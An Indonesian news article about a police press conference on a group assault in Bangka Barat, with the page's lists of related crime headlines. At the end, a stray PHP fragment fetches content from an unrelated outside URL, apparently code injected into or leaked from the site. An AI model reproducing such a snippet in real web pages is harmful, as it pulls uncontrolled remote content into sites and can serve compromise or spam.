Polres Bangka Barat gelar Konferensi Pers ungkap Kasus Pengeroyokan yang Mengakibatkan Luka Berat

Senin, 26 Juni 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bangka Barat l Jejakkasus.info – Kepolisian Resort Bangka Barat bertempat diruangan Catur Prasetya melaksanakan konferensi pers, Terkait kasus tindak pidana pengeroyokan yang mengakibatkan luka berat.

Senin (26/06/2023)

Tindak pidana pengeroyokan yang dilakukan ADL, (19) Th, ALD (21) Th, UMS (22) Th, dua pelaku lainnya masih dibawah umur, para pelaku beralamat di desa Kundi kecamatan Simpang Teritip kabupaten Bangka Barat

Dalam konferensi pers tersebut dipimpin oleh Kanit I Sat Reskrim Ipda Eko Prasetyo, S.Tr.K . dan di dampingi oleh Ps Kasi Humas Ipda Ardianis serta anggota Sat Reskrim Polres Bangka Barat

Baca Juga:  Polresta Mojokerto Bongkar Penipuan di Mega Finance 

Kanit I Sat Reskrim Ipda Eko Prasetyo, S.Tr.K menjelaskan Hari Rabu tanggal 14 Juni 2023 sekira pukul 21.00 WIB bertempat di Pantai Kundi Kec. Simpang Teritip Kab. Bangka Barat.

“Tersangka ADL kesal dan cemburu kepada teman korban Riski yang bernama Sandera karena jalan dengan mantan pacarnya, lalu tersangka ADL mengajak teman temannya untuk mengeroyok Sandera akan tetapi dipisahkan oleh korban RISKI, namun malah RISKI yang dipukul dan dikeroyok oleh para tersangka.” Tutur Kanit I Sat Reskrim

Baca Juga:  Kapolres Bangka Barat Mengucapkan Dirgahayu Humas Polri ke-71 Humas Presisi Bangkit bersama Rakyat

Kanit I Sat Reskrim juga menjelasakan, jika motif pelaku sehingga melakukan Penganiyaan dan pengrusakan karena faktor cemburu.

Diketahui jajaran Polres Bangka Barat berhasil menyita barang bukti 1 (satu) batang kayu sepanjang kurang lebih 1 (satu) meter, (satu) potong jaket lengan panjang warna hijau, 1 (satu) potong baju kaos lengan pendek warna biru dongker, 1 (satu) potong celana pendek warna cokelat.

Baca Juga:  Warga Pringsewu Berhasil Tangkap Pelaku Curanmor, Satu Pelaku Diburu Tekab 308 Polsek Pringsewu kota 

Atas perbuatannya pelaku dijerat Pasal 170 ayat (2) ke-2 KUHPidana dengan ancaman hukuman 9 (sembilan) tahun penjara Subs Pasal 351 ayat (2) KUHPidana Jo Pasal 55 KUHPidana dengan ancaman hukuman 5 (lima) tahun penjara. (Zulfikar)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi
Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran
Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang
Pelaku Curas di Desa Lelea, Dibekuk Polisi
Maraknya Perjudian 303 Sabung Ayam di Desa Bedanten, Kecamatan Bunga, Kabupaten Gresik Tak Tersentuh Hukum
Peredaran Ganja Jaringan Sumatera Dibongkar Polisi

Berita Terkait

Kamis, 19 September 2024 - 22:04 WIB

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Minggu, 15 September 2024 - 11:40 WIB

Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang

Minggu, 15 September 2024 - 08:44 WIB

Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Senin, 9 September 2024 - 21:33 WIB

Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran

Senin, 9 September 2024 - 21:13 WIB

Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>